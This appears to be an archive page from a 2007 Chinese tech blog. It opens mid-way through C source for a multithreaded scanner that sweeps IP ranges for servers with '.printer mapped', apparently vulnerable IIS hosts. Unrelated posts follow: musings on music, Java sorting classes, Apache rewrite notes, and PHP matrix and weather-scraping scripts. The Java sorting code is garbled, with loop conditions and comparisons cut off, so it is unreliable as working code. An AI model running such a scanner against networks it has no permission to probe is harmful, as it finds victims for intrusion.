void showerror(char *);//显示出错信息函数,可以写完善一些,偶偷懒了:)

bool resetcursor(void);//重置光标位置,线程输出的时候调用的

dword winapi showproinfo(lpvoid);//显示进度信息

dword winapi scan(lpvoid);//扫描函数

void usage(char *);//帮助函数

///////////////////////////////////////////////////////////////////////////

int main(int argc,char **argv)

{

    handle hthread=null;//线程句柄

    dword dwthreadid;//线程id

    struct sockaddr_in sa;

    int i,

       maxthread;//最大线程数量

    wsadata    wsd;

    long previouscount;

    clock_t start,end;//程序运行的起始和结束时间

    double duration;

 

    //检查用户输入参数

    if(argc!=5)

    {

       usage(argv[0]);

       return 1;

    }

    //get target range

    int startnet=inet_addr(argv[1]);

    int stopnet=inet_addr(argv[2]);

    int starthost=ntohl(startnet);

    int stophost=ntohl(stopnet);

    //取得线程数量

    maxthread=atoi(argv[3]);

    //取得conn超时时间

    iconntimeout=atoi(argv[4]);

    //检查参数合法性

    if((iconntimeout>6) || (iconntimeout<2) || (maxthread<1) || (maxthread>500) || (stophost<starthost))

    {

       usage(argv[0]);

       return 1;

    }

    //计算时间

    sleeptime=1000*iconntimeout/maxthread;

    //设置连接超时值

    timeout.tv_sec = iconntimeout;

    timeout.tv_usec =0;

    __try

    {

       //开始计时

       start=clock();

       //加载winsock库

       if (wsastartup(makeword(1,1), &wsd) != 0)

       {

           showerror(”wsastartup”);

           __leave;

       }

       //创建信标内核对象句柄

       hsemaphore=createsemaphore(null,maxthread,maxthread,null);

       if(hsemaphore==null)

       {

           showerror(”createsemaphore”);

           __leave;

       }

       //取得console标准输出句柄

       hstdout=getstdhandle(std_output_handle);

       if(hstdout==invalid_handle_value)

       {

           showerror(”getstdhandle”);

           __leave;

       }

       //设置目标总数

       itotal=stophost-starthost;

       //创建进度显示线程

       hthread=createthread(null,0,showproinfo,null,0,&dwthreadid);

       if(hthread==null)

       {

           showerror(”1 createthread”);

           __leave;

       }

//关闭句柄

       closehandle(hthread);

       //循环创建扫描线程

       for(i=starthost;i<=stophost;i++)

       {

           //等待信标内核对象通知

           waitforsingleobject(hsemaphore,infinite);

           //create thread to scan

           hthread=createthread(null,0,scan,(lpvoid)i,0,&dwthreadid);

           if(hthread==null)

           {

              showerror(”2 createthread”);

              break;

           }

           //进度自加1

           ii++;

           //重设最后一个线程扫描的目标

           sa.sin_addr.s_addr=htonl(i);

           strncpy(currenttarget,inet_ntoa(sa.sin_addr),sizeof(currenttarget));

           //休息一会儿:))

           sleep(sleeptime);

           //关闭线程句柄

           closehandle(hthread);

       }

       //等待所有线程结束

       while(1)

       {

           waitforsingleobject(hsemaphore,infinite);

           if(!releasesemaphore(hsemaphore,1,&previouscount))

           {

              showerror(”main() releasesemaphore”);

              sleep(5000);

              break;

           }

           if(previouscount==(maxthread-1))

           {

              printf(”all done.”);

              break;

           }

           sleep(500);

       }

    }//end of try

    //搞定,清场,收工

    __finally

    {

       //计时结束

       end=clock();

       //转换时间格式

       duration = (double)(end - start) / clocks_per_sec;

       //显示所用时间

       printf(”complete.scan %d targets use %2.1f seconds.speed %0.3g/s”,itotal,duration,itotal/duration);

       //关闭句柄

       closehandle(hstdout);

       closehandle(hsemaphore);

       wsacleanup();

    }

    return 0;

}

///////////////////////////////////////////////////////////////////////////

//

//回显错误信息函数

//

void showerror(char *msg)

{

    messagebox(null,msg,”error”,0);

    //printf(”%s failed:%d”,getlasterror());

}

//////////////////////////////////////////////////////////////////////////

//

//重置光标位置函数,以便扫描线程输出结果

//

bool resetcursor()

{

    console_screen_buffer_info consolescreenbufferinfo;

    //取得当前光标位置

    if(!getconsolescreenbufferinfo(hstdout,&consolescreenbufferinfo))

    {

       showerror(”getconsolescreenbufferinfo”);

       return false;

    }

    //设置光标x坐标为0

    consolescreenbufferinfo.dwcursorposition.x=0;

    //设置当前光标位置

    setconsolecursorposition(hstdout,consolescreenbufferinfo.dwcursorposition);

    return true;

}

///////////////////////////////////////////////////////////////////////////

//

//显示进度信息函数

//

dword winapi showproinfo(lpvoid lp)

{  

    int j,k;

    console_screen_buffer_info consolescreenbufferinfo;

    float m;

    for(j=0;ii<itotal;j++)

    {

       //休息一会儿:)))

       sleep(sleeptime);

       //取得当前光标位置

       if(!getconsolescreenbufferinfo(hstdout,&consolescreenbufferinfo))

       {

           showerror(”getconsolescreenbufferinfo”);

           return 1;

       }

       //设置百分比进度显示的x坐标

       consolescreenbufferinfo.dwcursorposition.x=0;

       //设置当前光标位置

       setconsolecursorposition(hstdout,consolescreenbufferinfo.dwcursorposition);

       //已经完成的百分比

       m=(ii+1)*100.00/itotal;

       //显示进度

       if(ii==itotal)

       {

           printf(”******** 100%% wait %d seconds to exit ********       ”,iconntimeout);

           break;

       }

       else

       {

           k=j%4;

           printf(”%-15s %s [%d/%d] %s %%%0.3g”,currenttarget,turn[k],ii,itotal,turn[k],m);

       }

    }//end of for

    return 0;

}

///////////////////////////////////////////////////////////////////////////

//

//扫描函数

//

dword winapi scan(lpvoid lp)

{

    int i=(int)lp,ierr;

    struct sockaddr_in server;

    socket s=invalid_socket;

    char recvbuff[1024]={0},*ptr;

    int recvbufflen=sizeof(recvbuff);

    u_long ul=1;//初始化为为非0值

  fd_set r,w;

 

    //create socket

    s=socket(af_inet, sock_stream, ipproto_tcp);

    if(s==invalid_socket)

    {

       printf(”create socket failed:%d”,getlasterror());

       exitprocess(1);

    }

    //fill the addr struct

    server.sin_family=af_inet;

    server.sin_port=htons(iport);

    server.sin_addr.s_un.s_addr=htonl(i);

    __try

    {

       //设置socket为非锁定模式,ul为0值的话,那么soocket将被设置为锁定模式

       ierr=ioctlsocket(s,fionbio,(unsigned long*)&ul);

       if(ierr==socket_error )

       {

           resetcursor();

           showerror(”ioctlsocket”);

           exitprocess(1);

       }

       //printf(”%x ioctl ok.strat conn”,i);

       //connect to target

       connect(s,(struct sockaddr *)&server,sizeof(server));

       //printf(”%x conn return,start select w”,i);

       //设置select参数

       fd_zero(&w);

       fd_set(s, &w);

       //等待connect成功&socket可写

       ierr=select(0, 0, &w, 0, &timeout);

       //printf(”%x select w return %d”,i,ierr);

       //等待返回后,socket仍不可写则退出

       if((ierr==socket_error) || (ierr==0))

       {

           //printf(”%x select return w err,exit”,i);

           __leave;

       }

       //socket可写则继续

       else

       {

           //send buff to target

           //printf(”%x send”,i);

           ierr=send(s,sendbuff,sendbufflen,0);

           //printf(”%x send return”,i);

           if(ierr==socket_error)

              __leave;

       }

       //等待socket可读

       fd_zero(&r);

       fd_set(s, &r);

       //printf(”%x start select r”,i);

       ierr=select(0, &r, 0, 0, &timeout);

       //printf(”%x select r return %d”,i,ierr);

       if((ierr==socket_error) || (ierr==0))

       {

           //printf(”%x select r err,exit”,i);

           __leave;

       }

       else

       {

           //recv buff from target

           //printf(”%x start recv”,i);

           ierr=recv(s,recvbuff,recvbufflen,0);

           //printf(”%x recv ret”,i);

           if(ierr==socket_error)

              __leave;

       }

       //verify buff

       ptr=strstr(recvbuff,szsign);

       if(ptr!=null)

       {

           //线程输出前要先调用resetcursor函数

           resetcursor();

           //输出信息后务必加一个以上换行符号,输出前请别加换行符号,以免显示混乱

           printf(”[%-15s] has .printer mapped.        “,inet_ntoa(server.sin_addr));

  …

没有评论 »

经典永远让人难忘

十月 25, 2007 | 数学 | RSS 2.0

     很久没有听学友的歌曲,耳边再次响起那熟悉的旋律,细细品味,总能触动我的内心深处,触动些让我难忘的东西,触动了一曲曲的回忆,清晰的记得每次听这些歌曲的时候一些让我难以忘记的东西,成长中,忙碌 中,我们的灵魂渐渐远离过去,每天枯燥的工作忙碌,让我们无法体会那些经典心境,只有静下心来,听那些经典的歌曲,才能回到当初时候的我们,灵魂在这里真的也得到了精华,生活中也缺少太多的感动,是歌声让我更加热爱生活,是歌声让我珍藏,品味回忆。
   忘不了每个一个人的晚上,伴着学友的歌声入睡,和着美丽的旋律,品着歌中的意境,让人陶醉,让人迷恋,前程往事成云烟中,回忆那些经典的记忆,心灵深处真的超然的洒脱。忘不了离别的车站,歌声表达我们的心境,纵然再多的痛楚,再多的情意都在歌中让我们心灵共鸣,祝福的歌声总让人体会的不只是温暖,更让让我们的灵魂相容,是歌声传达了我们的情意。总记得那些激情燃烧的岁月我们于歌共舞,记得beyond的歌声,那中让我们心灵震撼的歌曲,让我们呼喊,呼喊生活,呼喊心灵的解脱。
   光辉岁月,又让我们想起了众多的一刹那,一刹那的激情燃烧,一刹那的激情飘然。
  太多太多的回忆,溶进了歌曲里面,记得那个冬天,我们并走在夕阳西下的小河边,唱着学友的每天爱你多一些,记得离别的镜头,我们唱起让我们流泪的祝福,记得激情燃烧的舞会,我们共同呐喊海阔天空。
  燃烧的岁月,激情的歌曲,虽然在飞逝,但都深深的进入到自己的内心。成为永远的经典

没有评论 »

排序算法

十月 21, 2007 | linux | RSS 2.0

用Java语言实现的各种排序,包括插入排序、冒泡排序、选择排序、Shell排序、快速排序、归并排序、堆排序、SortUtil等。

插入排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;
/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class InsertSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int temp;
for(int i=1;i for(int j=i;(j>0)&&(data[j] SortUtil.swap(data,j,j-1);
}
}
}

}
冒泡排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class BubbleSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int temp;
for(int i=0;i for(int j=data.length-1;j>i;j–){
if(data[j] SortUtil.swap(data,j,j-1);
}
}
}
}

}
选择排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class SelectionSort implements SortUtil.Sort {

/*
* (non-Javadoc)
*
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int temp;
for (int i = 0; i < data.length; i++) {
int lowIndex = i;
for (int j = data.length – 1; j >i; j–) {
if (data[j] < data[lowIndex]) {
lowIndex = j;
}
}
SortUtil.swap(data,i,lowIndex);
}
}

}
Shell排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class ShellSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
for(int i=data.length/2;i>2;i/=2){
for(int j=0;j insertSort(data,j,i);
}
}
insertSort(data,0,1);
}

/**
* @param data
* @param j
* @param i
*/
private void insertSort(int[] data, int start, int inc) {
int temp;
for(int i=start+inc;i for(int j=i;(j>=inc)&&(data[j] SortUtil.swap(data,j,j-inc);
}
}
}

}
快速排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class QuickSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
quickSort(data,0,data.length-1);
}
private void quickSort(int[] data,int i,int j){
int pivotIndex=(i+j)/2;
//swap
SortUtil.swap(data,pivotIndex,j);

int k=partition(data,i-1,j,data[j]);
SortUtil.swap(data,k,j);
if((k-i)>1) quickSort(data,i,k-1);
if((j-k)>1) quickSort(data,k+1,j);

}
/**
* @param data
* @param i
* @param j
* @return
*/
private int partition(int[] data, int l, int r,int pivot) {
do{
while(data[++l] while((r!=0)&&data[--r]>pivot);
SortUtil.swap(data,l,r);
}
while(l SortUtil.swap(data,l,r);
return l;
}

}
改进后的快速排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class ImprovedQuickSort implements SortUtil.Sort {

private static int MAX_STACK_SIZE=4096;
private static int THRESHOLD=10;
/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int[] stack=new int[MAX_STACK_SIZE];

int top=-1;
int pivot;
int pivotIndex,l,r;

stack[++top]=0;
stack[++top]=data.length-1;

while(top>0){
int j=stack[top--];
int i=stack[top--];

pivotIndex=(i+j)/2;
pivot=data[pivotIndex];

SortUtil.swap(data,pivotIndex,j);

//partition
l=i-1;
r=j;
do{
while(data[++l] while((r!=0)&&(data[--r]>pivot));
SortUtil.swap(data,l,r);
}
while(l SortUtil.swap(data,l,r);
SortUtil.swap(data,l,j);

if((l-i)>THRESHOLD){
stack[++top]=i;
stack[++top]=l-1;
}
if((j-l)>THRESHOLD){
stack[++top]=l+1;
stack[++top]=j;
}

}
//new InsertSort().sort(data);
insertSort(data);
}
/**
* @param data
*/
private void insertSort(int[] data) {
int temp;
for(int i=1;i for(int j=i;(j>0)&&(data[j] SortUtil.swap(data,j,j-1);
}
}
}

}
归并排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class MergeSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int[] temp=new int[data.length];
mergeSort(data,temp,0,data.length-1);
}

private void mergeSort(int[] data,int[] temp,int l,int r){
int mid=(l+r)/2;
if(l==r) return ;
mergeSort(data,temp,l,mid);
mergeSort(data,temp,mid+1,r);
for(int i=l;i<=r;i++){
temp[i]=data[i];
}
int i1=l;
int i2=mid+1;
for(int cur=l;cur<=r;cur++){
if(i1==mid+1)
data[cur]=temp[i2++];
else if(i2>r)
data[cur]=temp[i1++];
else if(temp[i1] data[cur]=temp[i1++];
else
data[cur]=temp[i2++];
}
}

}
改进后的归并排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class ImprovedMergeSort implements SortUtil.Sort {

private static final int THRESHOLD = 10;

/*
* (non-Javadoc)
*
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
int[] temp=new int[data.length];
mergeSort(data,temp,0,data.length-1);
}

private void mergeSort(int[] data, int[] temp, int l, int r) {
int i, j, k;
int mid = (l + r) / 2;
if (l == r)
return;
if ((mid – l) >= THRESHOLD)
mergeSort(data, temp, l, mid);
else
insertSort(data, l, mid – l + 1);
if ((r – mid) >THRESHOLD)
mergeSort(data, temp, mid + 1, r);
else
insertSort(data, mid + 1, r – mid);

for (i = l; i <= mid; i++) {
temp[i] = data[i];
}
for (j = 1; j <= r – mid; j++) {
temp[r - j + 1] = data[j + mid];
}
int a = temp[l];
int b = temp[r];
for (i = l, j = r, k = l; k <= r; k++) {
if (a < b) {
data[k] = temp[i++];
a = temp[i];
} else {
data[k] = temp[j--];
b = temp[j];
}
}
}

/**
* @param data
* @param l
* @param i
*/
private void insertSort(int[] data, int start, int len) {
for(int i=start+1;i for(int j=i;(j>start) && data[j] SortUtil.swap(data,j,j-1);
}
}
}

}
堆排序:

package org.rut.util.algorithm.support;

import org.rut.util.algorithm.SortUtil;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class HeapSort implements SortUtil.Sort{

/* (non-Javadoc)
* @see org.rut.util.algorithm.SortUtil.Sort#sort(int[])
*/
public void sort(int[] data) {
MaxHeap h=new MaxHeap();
h.init(data);
for(int i=0;i h.remove();
System.arraycopy(h.queue,1,data,0,data.length);
}

private static class MaxHeap{

void init(int[] data){
this.queue=new int[data.length+1];
for(int i=0;i queue[++size]=data[i];
fixUp(size);
}
}

private int size=0;

private int[] queue;

public int get() {
return queue[1];
}

public void remove() {
SortUtil.swap(queue,1,size–);
fixDown(1);
}
//fixdown
private void fixDown(int k) {
int j;
while ((j = k << 1) <= size) {
if (j < size && queue[j] j++;
if (queue[k]>queue[j]) //不用交换
break;
SortUtil.swap(queue,j,k);
k = j;
}
}
private void fixUp(int k) {
while (k >1) {
int j = k >>1;
if (queue[j]>queue[k])
break;
SortUtil.swap(queue,j,k);
k = j;
}
}

}

}
SortUtil:

package org.rut.util.algorithm;

import org.rut.util.algorithm.support.BubbleSort;
import org.rut.util.algorithm.support.HeapSort;
import org.rut.util.algorithm.support.ImprovedMergeSort;
import org.rut.util.algorithm.support.ImprovedQuickSort;
import org.rut.util.algorithm.support.InsertSort;
import org.rut.util.algorithm.support.MergeSort;
import org.rut.util.algorithm.support.QuickSort;
import org.rut.util.algorithm.support.SelectionSort;
import org.rut.util.algorithm.support.ShellSort;

/**
* @author treeroot
* @since 2006-2-2
* @version 1.0
*/
public class SortUtil {
public final static int INSERT = 1;
public final static int BUBBLE = 2;
public final static int SELECTION = 3;
public final static int SHELL = 4;
public final static int QUICK = 5;
public final static int IMPROVED_QUICK = 6;
public final static int MERGE = 7;
public final static int IMPROVED_MERGE = 8;
public final static int HEAP = 9;

public static void sort(int[] data) {
sort(data, IMPROVED_QUICK);
}
private static String[] name={
“insert”, “bubble”, “selection”, “shell”, “quick”, “improved_quick”, “merge”, “improved_merge”, “heap”
};

private static Sort[] impl=new Sort[]{
new InsertSort(),
new BubbleSort(),
new SelectionSort(),
new ShellSort(),
new QuickSort(),
new ImprovedQuickSort(),
new MergeSort(),
new ImprovedMergeSort(),
new HeapSort()
};

public static String toString(int algorithm){
return name[algorithm-1];
}

public static void sort(int[] data, int algorithm) {
impl[algorithm-1].sort(data);
}

public static interface Sort {
public void sort(int[] data);
}

public static void swap(int[] data, int i, int j) {
int temp = data[i];
data[i] = data[j];
data[j] = temp;
}
}

 

没有评论 »

每个人值得品味的一句话

十月 12, 2007 | linux | RSS 2.0

  这两天真是为赶那个网站,不小心 天气变凉,感冒了。心情特烦。
偶然间发现一句话
生命就象蜡烛那样,在光芒和泪珠中慢慢消耗掉,珍视你所拥有的,遗忘你所没有的!生活有时就是这样,一生只为一瞬,一瞬决定一生。

没有评论 »

rewriterule初探

十月 12, 2007 | c/c++ | RSS 2.0

httpd.conf
开启rewrite模块
RewriteRule ^(.*)/ebooks/txt-([0-9]+).html$ $1/ebooks/info.php?eid=$2 [L]

我要把http://a/b/new/ebooks/txt-10.html重写到 http://a/b/new/ebooks/info.php?eid=10

RewriteRule ^ebooks/txt-([0-9]+).html$ ebooks/info.php?eid=$1 [L]
加RewriteBase /b/new/.htaccess 里写 ErrorDocument 404 404.php404.php 里print_r($_SERVER);
RewriteEngine On
RewriteBase /b/new/
ErrorDocument 404 ebooks/404.php
改为ErrorDocument 404 /404.php
以/开头或http://开头才算URL
<VirtualHost *:80>
    DocumentRoot/www/web/lovezhuzhu
   ServerName  www.zhuzhuzhu97.com
   RewriteEngine On
    RewriteRule/forum/topic_(.+).html$ /forum/viewtopic.php?t=$1 [L]
    RewriteRule/forum/forum_(.+).html$ /forum/viewforum.php?f=$1 [L]
    RewriteRule/forum/user_(.+).html$ /forum/profile.php?mode=viewprofile&u=$1 [L]
    RewriteRule/map_(.+)_(.+)_(.+).html$ /map/maplist.php?cls=$1&name=$2&id=$3 [L]

</VirtualHost>
在/www/web/lovezhuzhu目录下建一个目录forum(可以随便的)
在目录下新建三个文件
viewtopic.php
viewforum.php
profile.php
三个文件的内容
<?php
print_r($_GET);
?>
重启apache,在地址栏输入http://www.zhuzhuzhu97.com/forum/forum_21.html
看看内容是不是打印了一个数组

没有评论 »

方阵

十月 11, 2007 | linux | RSS 2.0

<?php
/*
function:打印螺旋方针
author:小和尚;
date:2007:10:12
*/
function print_ju ($size)
 {
   $n=$size;
   $m=($n+1)/2;
   $k=0;
    $m=floor($m);

   for($i=0;$i<$m;$i++)
    {
      for($j=$i;$j<=$n-$i-1;$j++)
      {
       $arr[$i][$j]=++$k;//顶边,行不变列别
     

      }
     for($j=$i+1;$j<=$n-$i-1;$j++)
      {
     
      $arr[$j][$n-$i-1]=++$k;//右边从上到下,行变列不变

     
      }
     for($j=$n-$i-2;$j>=$i;$j–)
      {
      $arr[$n-$i-1][$j]=++$k;//底边,从右到左,行不变,列边

      }
     for($j=$n-$i-2;$j>=$i+1;$j–)
      {
     
       $arr[$j][$i]=++$k;//左边,从下到上,行变列不变

      }
    }
 
 
 return $arr;
 }
 $size=20;
 $arr=print_ju($size);
 for($i=0;$i<$size;$i++)
 { 
  for($j=0;$j<$size;$j++)
  {
 
 echo str_pad($arr[$i][$j], 4, “_”, STR_PAD_BOTH);

  }
 echo “<br>”;
 }
 /*
function:打印魔幻方针

*/
function print_ju1($size)
 {
 
 $n=$size;
 for($k=1;$k<=$n*$n;$k++)
  {
   $arr[$i][$j]=$k;
   if($k%$n==0)
    {
     $i=($i+1)%$n;
   
    }
    else
    {
   
    $i=($i-1+$n)%$n;
    $j=($j+1)%$n;
    }
  }
 
 
 return $arr;
 
 }
 $size=3;
 $arr=print_ju1($size);
 for($i=0;$i<$size;$i++)
 { 
  for($j=0;$j<$size;$j++)
  {
 
 echo str_pad($arr[$i][$j], 4, “_”, STR_PAD_BOTH);

  }
 echo “<br>”;
 }
?>
结果
_1___2___3___4___5___6___7___8___9___10__11__12__13__14__15__16__17__18__19__20_
_76__77__78__79__80__81__82__83__84__85__86__87__88__89__90__91__92__93__94__21_
_75_144_145_146_147_148_149_150_151_152_153_154_155_156_157_158_159_160__95__22_
_74_143_204_205_206_207_208_209_210_211_212_213_214_215_216_217_218_161__96__23_
_73_142_203_256_257_258_259_260_261_262_263_264_265_266_267_268_219_162__97__24_
_72_141_202_255_300_301_302_303_304_305_306_307_308_309_310_269_220_163__98__25_
_71_140_201_254_299_336_337_338_339_340_341_342_343_344_311_270_221_164__99__26_
_70_139_200_253_298_335_364_365_366_367_368_369_370_345_312_271_222_165_100__27_
_69_138_199_252_297_334_363_384_385_386_387_388_371_346_313_272_223_166_101__28_
_68_137_198_251_296_333_362_383_396_397_398_389_372_347_314_273_224_167_102__29_
_67_136_197_250_295_332_361_382_395_400_399_390_373_348_315_274_225_168_103__30_
_66_135_196_249_294_331_360_381_394_393_392_391_374_349_316_275_226_169_104__31_
_65_134_195_248_293_330_359_380_379_378_377_376_375_350_317_276_227_170_105__32_
_64_133_194_247_292_329_358_357_356_355_354_353_352_351_318_277_228_171_106__33_
_63_132_193_246_291_328_327_326_325_324_323_322_321_320_319_278_229_172_107__34_
_62_131_192_245_290_289_288_287_286_285_284_283_282_281_280_279_230_173_108__35_
_61_130_191_244_243_242_241_240_239_238_237_236_235_234_233_232_231_174_109__36_
_60_129_190_189_188_187_186_185_184_183_182_181_180_179_178_177_176_175_110__37_
_59_128_127_126_125_124_123_122_121_120_119_118_117_116_115_114_113_112_111__38_
_58__57__56__55__54__53__52__51__50__49__48__47__46__45__44__43__42__41__40__39_
_____6___8__
_5___7___3__
_9___2___4__
<?php
$file=fopen(”http://weather.cn.yahoo.com/weather.html?city=133000″,”rb”);
do
{
    $data=fread($file,1024);
    if(strlen($data)==0)
    {
        break;
    }
    $contents.=$data;
}while(true);
preg_match_all(”/<div class=”box6″>(.+)</div> <!–}}end/is”,$contents,$matches);

preg_match(”/</span><br />(.+)</p>/i”,$matches[0][0],$arr);
$date=iconv(”utf-8″,”gb2312″,$arr[1]);

preg_match(”/goSflashfile = ‘(.+)’;/i”,$matches[0][0],$arr);
$flashfile=$arr[1];

preg_match(”/imgSrc = ‘(.+)’/i”,$matches[0][0],$arr);
$imagefile=$arr[1];

preg_match(”/<strong>(.+)</strong>(.+)</span></p>/i”,$matches[0][0],$arr);
$info=$arr[1];
$feng=trim($arr[2]);
/*
echo $date;
echo $flash;
echo $info;
echo $wendu;
echo $feng;
//echo $matches[1];
*/
echo “<div style=”font-size:12px;”>”;
echo “<div style=”float:left;”>
<script>
 var goSwidth = 60;
 var goSheight = 60;
 var goSflashfile = ‘$flashfile’;
 var imgSrc = ‘$imagefile’
 var goLink = ”;
 </script>
 <script src=”http://cn.yimg.com/i/js/wea/gobeta.js”></script>

</div>”;
echo “<div style=”padding-top:10px;”>延吉 $date</div>”;
echo “<div>”.iconv(”utf-8″,”gb2312″,$info).” “.iconv(”utf-8″,”gb2312″,$wendu).”</div>”;
echo “<div>”.iconv(”utf-8″,”gb2312″,$feng).”</div>”;
echo “</div>”;
?>

没有评论 »